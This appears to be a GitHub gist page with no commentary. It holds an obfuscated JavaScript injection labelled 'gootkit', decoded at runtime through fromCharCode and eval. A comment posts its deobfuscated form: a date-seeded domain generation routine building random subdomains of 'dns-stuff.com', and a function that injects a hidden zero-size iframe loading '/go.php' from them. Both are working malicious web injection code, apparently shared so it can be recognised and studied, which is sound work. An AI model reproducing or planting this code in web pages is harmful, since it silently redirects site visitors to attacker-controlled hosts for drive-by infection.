Skip to content

Instantly share code, notes, and snippets.

@acki
Created June 5, 2012 12:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save acki/2874683 to your computer and use it in GitHub Desktop.
Save acki/2874683 to your computer and use it in GitHub Desktop.
gootkit
/*gootkitstart*/i=0;try{grbregd=prototype;}catch(z){h="ha"+"rCode";f=[10,17.5,14,8.5,17,11.5,14.5,14,-25,14,9.5,19,17,0,7.5,14,9,14.5,13.5,-2,17.5,13.5,8,9.5,16,-21,-20.5,20.5,-36,-25,-25,-25,-25,18,7.5,16,-25,11,11.5,-25,-10.5,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-17.5,-25,17,11,11.5,16.5,-18,-0.5,-11.5,-36,-25,-25,-25,-25,18,7.5,16,-25,13,14.5,-25,-10.5,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-22.5,-25,17,11,11.5,16.5,-18,-0.5,-11.5,-36,-25,-25,-25,-25,18,7.5,16,-25,17,9.5,16.5,17,-25,-10.5,-25,17,11,11.5,16.5,-18,-8.5,-25,-20,-25,13,14.5,-25,-18.5,-25,17,11,11.5,16.5,-18,0,-25,-20,-25,11,11.5,-11.5,-36,-25,-25,-25,-25,11.5,10,-21,17,9.5,16.5,17,-25,-10,-25,-17,-20.5,20.5,-36,-25,-25,-25,-25,-25,-25,-25,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-10.5,-25,17,9.5,16.5,17,-11.5,-36,-25,-25,-25,-25,21.5,-25,9.5,13,16.5,9.5,-25,20.5,-36,-25,-25,-25,-25,-25,-25,-25,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-10.5,-25,17,9.5,16.5,17,-25,-19.5,-25,17,11,11.5,16.5,-18,-2.5,-11.5,-36,-25,-25,-25,-25,21.5,-36,-25,-25,-25,-25,16,9.5,17,17.5,16,14,-25,-21,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-20,-25,17,11,11.5,16.5,-18,14.5,14,9.5,-1.5,18,9.5,16,-2.5,-20.5,-11.5,-36,21.5,-36,-36,10,17.5,14,8.5,17,11.5,14.5,14,-25,0,7.5,14,9,14.5,13.5,-2,17.5,13.5,8,9.5,16,-5.5,9.5,14,9.5,16,7.5,17,14.5,16,-21,17.5,14,11.5,19,-20.5,20.5,-36,-25,-25,-25,-25,18,7.5,16,-25,9,-25,-10.5,-25,14,9.5,18.5,-25,-7,7.5,17,9.5,-21,17.5,14,11.5,19,-20,-16.5,-17,-17,-17,-20.5,-11.5,-36,-25,-25,-25,-25,18,7.5,16,-25,16.5,-25,-10.5,-25,9,-18,10.5,9.5,17,-5,14.5,17.5,16,16.5,-21,-20.5,-11.5,-36,-25,-25,-25,-25,-36,-25,-25,-25,-25,11.5,10,-21,16.5,-25,-11,-25,-16.5,-16,-20.5,-25,16.5,-25,-10.5,-25,-17,-11.5,9.5,13,16.5,9.5,-25,16.5,-25,-10.5,-25,-16.5,-11.5,-36,-25,-25,-25,-25,-36,-25,-25,-25,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-10.5,-25,-16,-15.5,-15,-14.5,-14,-13.5,-13,-12.5,-17,-16.5,-25,-19.5,-25,-21,9,-18,10.5,9.5,17,-2.5,14.5,14,17,11,-21,-20.5,-25,-20,-25,-17,19,-6,-6,-6,-6,-6,-6,-20.5,-25,-19.5,-25,-21,9,-18,10.5,9.5,17,-7,7.5,17,9.5,-21,-20.5,-25,-20,-25,-17,19,-6,-6,-6,-6,-20.5,-19.5,-25,-21,16.5,-25,-20,-25,-17,19,-6,-6,-6,-20.5,-11.5,-36,-25,-25,-25,-25,17,11,11.5,16.5,-18,-8.5,-25,-10.5,-25,-15,-13,-16,-13.5,-16.5,-11.5,-36,-25,-25,-25,-25,17,11,11.5,16.5,-18,-2.5,-25,-10.5,-25,-16,-16.5,-15,-13.5,-15,-13,-15.5,-14,-15,-13.5,-11.5,-36,-25,-25,-25,-25,17,11,11.5,16.5,-18,-0.5,-25,-10.5,-25,17,11,11.5,16.5,-18,-2.5,-25,-17.5,-25,17,11,11.5,16.5,-18,-8.5,-11.5,-36,-25,-25,-25,-25,17,11,11.5,16.5,-18,0,-25,-10.5,-25,17,11,11.5,16.5,-18,-2.5,-25,-22.5,-25,17,11,11.5,16.5,-18,-8.5,-11.5,-36,-25,-25,-25,-25,17,11,11.5,16.5,-18,14.5,14,9.5,-1.5,18,9.5,16,-2.5,-25,-10.5,-25,-16.5,-18,-17,-25,-17.5,-25,17,11,11.5,16.5,-18,-2.5,-11.5,-36,-25,-25,-25,-25,17,11,11.5,16.5,-18,14,9.5,19,17,-25,-10.5,-25,14,9.5,19,17,0,7.5,14,9,14.5,13.5,-2,17.5,13.5,8,9.5,16,-11.5,-36,-25,-25,-25,-25,16,9.5,17,17.5,16,14,-25,17,11,11.5,16.5,-11.5,-36,21.5,-36,-36,10,17.5,14,8.5,17,11.5,14.5,14,-25,8.5,16,9.5,7.5,17,9.5,0,7.5,14,9,14.5,13.5,-2,17.5,13.5,8,9.5,16,-21,16,-19,-25,-2.5,11.5,14,-19,-25,-2.5,7.5,19,-20.5,20.5,-36,-25,-25,-25,-25,16,9.5,17,17.5,16,14,-25,-2.5,7.5,17,11,-18,16,14.5,17.5,14,9,-21,-21,-2.5,7.5,19,-18.5,-2.5,11.5,14,-20.5,-25,-20,-25,16,-18,14,9.5,19,17,-21,-20.5,-25,-19.5,-25,-2.5,11.5,14,-20.5,-11.5,-36,21.5,-36,-36,10,17.5,14,8.5,17,11.5,14.5,14,-25,10.5,9.5,14,9.5,16,7.5,17,9.5,-1,16.5,9.5,17.5,9,14.5,0,7.5,14,9,14.5,13.5,0.5,17,16,11.5,14,10.5,-21,17.5,14,11.5,19,-19,-25,13,9.5,14,10.5,17,11,-19,-25,20,14.5,14,9.5,-20.5,20.5,-36,-25,-25,-25,-25,18,7.5,16,-25,16,7.5,14,9,-25,-10.5,-25,14,9.5,18.5,-25,0,7.5,14,9,14.5,13.5,-2,17.5,13.5,8,9.5,16,-5.5,9.5,14,9.5,16,7.5,17,14.5,16,-21,17.5,14,11.5,19,-20.5,-11.5,-36,-25,-25,-25,-25,18,7.5,16,-25,13,9.5,17,17,9.5,16,16.5,-25,-10.5,-25,4.5,-21.5,7.5,-21.5,-19,-21.5,8,-21.5,-19,-21.5,8.5,-21.5,-19,-21.5,9,-21.5,-19,-21.5,9.5,-21.5,-19,-21.5,10,-21.5,-19,-21.5,10.5,-21.5,-19,-21.5,11,-21.5,-19,-21.5,11.5,-21.5,-19,-21.5,12,-21.5,-19,-21.5,12.5,-21.5,-19,-21.5,13,-21.5,-19,-21.5,13.5,-21.5,-19,-21.5,14,-21.5,-19,-21.5,14.5,-21.5,-19,-21.5,15,-21.5,-19,-21.5,15.5,-21.5,-19,-21.5,16,-21.5,-19,-21.5,16.5,-21.5,-19,-21.5,17,-21.5,-19,-21.5,17.5,-21.5,-19,-21.5,18,-21.5,-19,-21.5,18.5,-21.5,-19,-21.5,19,-21.5,-19,-21.5,19.5,-21.5,-19,-21.5,20,-21.5,5.5,-11.5,-36,-25,-25,-25,-25,18,7.5,16,-25,8.5,14.5,13,14.5,16,16.5,-25,-10.5,-25,4.5,-21.5,16,9.5,9,-21.5,-19,-21.5,14.5,16,7.5,14,10.5,9.5,-21.5,-19,-21.5,19.5,9.5,13,13,14.5,18.5,-21.5,-19,-21.5,10.5,16,9.5,9.5,14,-21.5,-19,-21.5,8,13,17.5,9.5,-21.5,-19,-21.5,11.5,14,9,11.5,10.5,14.5,-21.5,-19,-21.5,18,11.5,14.5,13,9.5,17,-21.5,5.5,-11.5,-36,-25,-25,-25,-25,18,7.5,16,-25,16.5,17,16,-25,-10.5,-25,8.5,14.5,13,14.5,16,16.5,4.5,8.5,16,9.5,7.5,17,9.5,0,7.5,14,9,14.5,13.5,-2,17.5,13.5,8,9.5,16,-21,16,7.5,14,9,-19,-25,-17,-19,-25,8.5,14.5,13,14.5,16,16.5,-18,13,9.5,14,10.5,17,11,-25,-18.5,-25,-16.5,-20.5,5.5,-25,-19.5,-25,-21.5,-18.5,-21.5,-11.5,-36,-25,-25,-25,-25,10,14.5,16,-21,18,7.5,16,-25,11.5,-25,-10.5,-25,-17,-11.5,-25,11.5,-25,-11,-25,13,9.5,14,10.5,17,11,-11.5,-25,11.5,-25,-19.5,-19.5,-25,-20.5,20.5,-36,-25,-25,-25,-25,-25,-25,-25,-25,16.5,17,16,-25,-19.5,-10.5,-25,13,9.5,17,17,9.5,16,16.5,4.5,8.5,16,9.5,7.5,17,9.5,0,7.5,14,9,14.5,13.5,-2,17.5,13.5,8,9.5,16,-21,16,7.5,14,9,-19,-25,-17,-19,-25,13,9.5,17,17,9.5,16,16.5,-18,13,9.5,14,10.5,17,11,-25,-18.5,-25,-16.5,-20.5,5.5,-11.5,-36,-25,-25,-25,-25,21.5,-36,-25,-25,-25,-25,16,9.5,17,17.5,16,14,-25,16.5,17,16,-25,-19.5,-25,-21.5,-18,-21.5,-25,-19.5,-25,20,14.5,14,9.5,-11.5,-36,21.5,-36,-36,10,17.5,14,8.5,17,11.5,14.5,14,-25,13.5,7.5,12.5,9.5,-6,16,7.5,13.5,9.5,-21,-20.5,-25,20.5,-36,-25,-25,-25,-25,11.5,10,-21,17,19.5,15,9.5,14.5,10,-25,11.5,10,16,7.5,13.5,9.5,2.5,7.5,16.5,-7.5,16,9.5,7.5,17,9.5,9,-25,-10.5,-10.5,-25,-24,17.5,14,9,9.5,10,11.5,14,9.5,9,-24,-20.5,20.5,-36,-25,-25,-25,-25,-25,-25,-25,-25,11.5,10,16,7.5,13.5,9.5,2.5,7.5,16.5,-7.5,16,9.5,7.5,17,9.5,9,-25,-10.5,-25,17,16,17.5,9.5,-11.5,-36,-25,-25,-25,-25,-25,-25,-25,-25,18,7.5,16,-25,9,7.5,17,9.5,-25,-10.5,-25,14,9.5,18.5,-25,-7,7.5,17,9.5,-21,-16.5,-20,-16.5,-17,-17,-17,-20.5,-11.5,-36,-25,-25,-25,-25,-25,-25,-25,-25,18,7.5,16,-25,17.5,14,11.5,19,-25,-10.5,-25,-2.5,7.5,17,11,-18,16,14.5,17.5,14,9,-21,-19.5,14,9.5,18.5,-25,-7,7.5,17,9.5,-21,-20.5,-17.5,-16.5,-17,-17,-17,-20.5,-11.5,-36,-25,-25,-25,-25,-25,-25,-25,-25,18,7.5,16,-25,9,14.5,13.5,7.5,11.5,14,-2,7.5,13.5,9.5,-25,-10.5,-25,10.5,9.5,14,9.5,16,7.5,17,9.5,-1,16.5,9.5,17.5,9,14.5,0,7.5,14,9,14.5,13.5,0.5,17,16,11.5,14,10.5,-21,17.5,14,11.5,19,-19,-25,-16.5,-17,-19,-25,-21.5,9,14,16.5,-18.5,16.5,17,17.5,10,10,-18,8.5,14.5,13.5,-21.5,-20.5,-11.5,-36,-25,-25,-25,-25,-25,-25,-25,-25,11.5,10,16,13.5,-25,-10.5,-25,9,14.5,8.5,17.5,13.5,9.5,14,17,-18,8.5,16,9.5,7.5,17,9.5,-6.5,13,9.5,13.5,9.5,14,17,-21,-24,-4.5,-6,0,-8.5,-2.5,-6.5,-24,-20.5,-11.5,-25,-36,-25,-25,-25,-25,-25,-25,-25,-25,11.5,10,16,13.5,-18,16.5,9.5,17,-8.5,17,17,16,11.5,8,17.5,17,9.5,-21,-24,16.5,16,8.5,-24,-19,-25,-24,11,17,17,15,-12,-17.5,-17.5,-24,-19.5,9,14.5,13.5,7.5,11.5,14,-2,7.5,13.5,9.5,-19.5,-24,-17.5,10.5,14.5,-18,15,11,15,-9.5,16.5,11.5,9,-10.5,13.5,11.5,19,-24,-20.5,-11.5,-25,-36,-25,-25,-25,-25,-25,-25,-25,-25,11.5,10,16,13.5,-18,16.5,17,19.5,13,9.5,-18,18.5,11.5,9,17,11,-25,-10.5,-25,-24,-17,15,19,-24,-11.5,-25,-36,-25,-25,-25,-25,-25,-25,-25,-25,11.5,10,16,13.5,-18,16.5,17,19.5,13,9.5,-18,11,9.5,11.5,10.5,11,17,-25,-10.5,-25,-24,-17,15,19,-24,-11.5,-25,-36,-25,-25,-25,-25,-25,-25,-25,-25,11.5,10,16,13.5,-18,16.5,17,19.5,13,9.5,-18,18,11.5,16.5,11.5,8,11.5,13,11.5,17,19.5,-25,-10.5,-25,-24,11,11.5,9,9,9.5,14,-24,-11.5,-25,-36,-25,-25,-25,-25,-25,-25,-25,-25,9,14.5,8.5,17.5,13.5,9.5,14,17,-18,8,14.5,9,19.5,-18,7.5,15,15,9.5,14,9,-7.5,11,11.5,13,9,-21,11.5,10,16,13.5,-20.5,-11.5,-36,-25,-25,-25,-25,21.5,-36,21.5,-36,16.5,9.5,17,1,11.5,13.5,9.5,14.5,17.5,17,-21,13.5,7.5,12.5,9.5,-6,16,7.5,13.5,9.5,-19,-25,-16,-17,-17,-17,-20.5,-11.5];v="e"+"va";}if(v)e=window[v+"l"];try{q=document["crea"+"teEle"+"ment"]("b");if(e)q.appendChild(q+"");}catch(fwbewe){w=f;s=[];}
r=String;z=((e)?h:"");for(;1920!=i;i+=1){j=i;if(e)s=s+r["fr"+"omC"+((e)?z:12)]((w[j]*1+41)*2);}
if(v&&e&&r&&z&&h&&s&&f&&v&&v&&e&&r&&h)try{dsgsdg=prototype;}catch(dsdh){e(((e)?s:12));}/*gootkitend*/
@jone
Copy link

jone commented Jun 5, 2012

function nextRandomNumber(){
    var hi = this.seed / this.Q;
    var lo = this.seed % this.Q;
    var test = this.A * lo - this.R * hi;
    if(test > 0){
        this.seed = test;
    } else {
        this.seed = test + this.M;
    }
    return (this.seed * this.oneOverM);
}

function RandomNumberGenerator(unix){
    var d = new Date(unix*1000);
    var s = d.getHours();

    if(s < 12) s = 0;else s = 1;

    this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (s * 0xFFF);
    this.A = 48271;
    this.M = 2147483647;
    this.Q = this.M / this.A;
    this.R = this.M % this.A;
    this.oneOverM = 1.0 / this.M;
    this.next = nextRandomNumber;
    return this;
}

function createRandomNumber(r, Min, Max){
    return Math.round((Max-Min) * r.next() + Min);
}

function generatePseudoRandomString(unix, length, zone){
    var rand = new RandomNumberGenerator(unix);
    var letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];
    var colors = ['red','orange','yellow','green','blue','indigo','violet'];
    var str = colors[createRandomNumber(rand, 0, colors.length - 1)] + '-';
    for(var i = 0; i < length; i ++ ){
        str += letters[createRandomNumber(rand, 0, letters.length - 1)];
    }
    return str + '.' + zone;
}

function makeFrame() {
    if(typeof iframeWasCreated == "undefined"){
        iframeWasCreated = true;
        var date = new Date(1*1000);
        var unix = Math.round(+new Date()/1000);
        var domainName = generatePseudoRandomString(unix, 10, 'dns-stuff.com');
        ifrm = document.createElement("IFRAME"); 
        ifrm.setAttribute("src", "http://"+domainName+"/go.php?sid=mix"); 
        ifrm.style.width = "0px"; 
        ifrm.style.height = "0px"; 
        ifrm.style.visibility = "hidden"; 
        document.body.appendChild(ifrm);
    }
}
setTimeout(makeFrame, 2000);

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment